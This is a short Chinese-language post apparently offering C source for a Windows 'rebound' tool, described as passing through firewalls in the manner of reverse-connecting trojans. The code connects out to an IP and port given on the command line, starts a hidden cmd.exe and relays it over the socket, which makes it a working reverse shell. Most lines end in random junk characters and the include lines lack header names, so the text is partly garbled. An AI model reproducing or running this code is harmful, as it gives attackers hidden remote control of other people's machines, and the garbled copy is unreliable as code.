这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A?+cdbxJw
ttd
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/* ============================== n]x%xnt
Rebound port in Windows NT !L3\B_#
By wind,2006/7 mz m{p(.
===============================*/ S3N+9*iK
#include ~kp,;!^vr
#include 59#o+qo4
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#pragma comment(lib,"wsock32.lib") BIY"{"hJ
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void OutputShell(); JuD&121N*
SOCKET sClient; #t<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /I48jO^2
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void main(int argc,char **argv) l>*L
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{ 1{-yF :A
WSADATA stWsaData; F S!D
int nRet; %?m_;iv
SOCKADDR_IN stSaiClient,stSaiServer; g@|2z
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if(argc != 3) KXT9Wt=
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printf("Useage:\n\rRebound DestIP DestPort\n"); &2sfu0K
return; %V|n2/O
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} ?p&( Af)
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WSAStartup(MAKEWORD(2,2),&stWsaData); E RjMe'q4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |a!]Iqz"N
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stSaiClient.sin_family = AF_INET; x@3cZd0j#
stSaiClient.sin_port = htons(0); ~ ReX$9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w?Pex]i{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dDa&:L
{ H5*#=It
printf("Bind Socket Failed!\n"); aYM~Ub:x{
return; 8nwps(3
} qkqtPbQ 7
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stSaiServer.sin_family = AF_INET; jig3M N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WF:4p]0~)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +S WtHj7e
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) - ,?LS w
{ iH~A7e62OZ
printf("Connect Error!"); qWf[X'
return; b1;h6AeL
} \01 kK)
OutputShell(); CDoD9Hq,
} #M4LG; B
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void OutputShell() T2_iH=u
{ z$Le,+
char szBuff[1024]; ":q+"*fy
SECURITY_ATTRIBUTES stSecurityAttributes; GFju:8P?
OSVERSIONINFO stOsversionInfo; B&_Z&H=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /8!n7a7
STARTUPINFO stStartupInfo; ;&'r yYrex
char *szShell; %hlgLM
PROCESS_INFORMATION stProcessInformation; b I`JG:^b
unsigned long lBytesRead; e7b MK<:r
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XE&h&v=>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A3*(c3
stSecurityAttributes.lpSecurityDescriptor = 0; |5ge4,}0
stSecurityAttributes.bInheritHandle = TRUE; /Kq'3[d8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <EcxNj1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UR9\g(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &W c$VDC
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UvM4-M%2JN
stStartupInfo.wShowWindow = SW_HIDE; 3o0ZS^#eB
stStartupInfo.hStdInput = hReadPipe; TI\xCIH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S4?WR+:h
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GetVersionEx(&stOsversionInfo); qS"#jxc==+
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switch(stOsversionInfo.dwPlatformId) 8e^u KYR<
{ 1e7I2g
case 1: GNEPb?+T
szShell = "command.com"; 9_,f)2)~W
break; co1aG,>"q
default: L &hw-.Q
szShell = "cmd.exe"; k#u)+e.'
break; O|)b$H_
} nm& pn*1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E/*&'Osq
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send(sClient,szMsg,77,0); psc
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while(1) ("r:L<xe&
{ |$e'yx6j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =6O*AJ
if(lBytesRead) [p~,;%
{ D4{KU%Xp&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^]'_Qbi]}
send(sClient,szBuff,lBytesRead,0); >KvK'Mus/
} #p55/54ZI
else %''L7o.#a
{ Z<^!N)
lBytesRead=recv(sClient,szBuff,1024,0); |2@*?o"ll
if(lBytesRead<=0) break; ^G(Ee+PN@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a'/i/@h
} j*Pq<[~
} hV0fkQ.|
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return; a!-J=\>9
}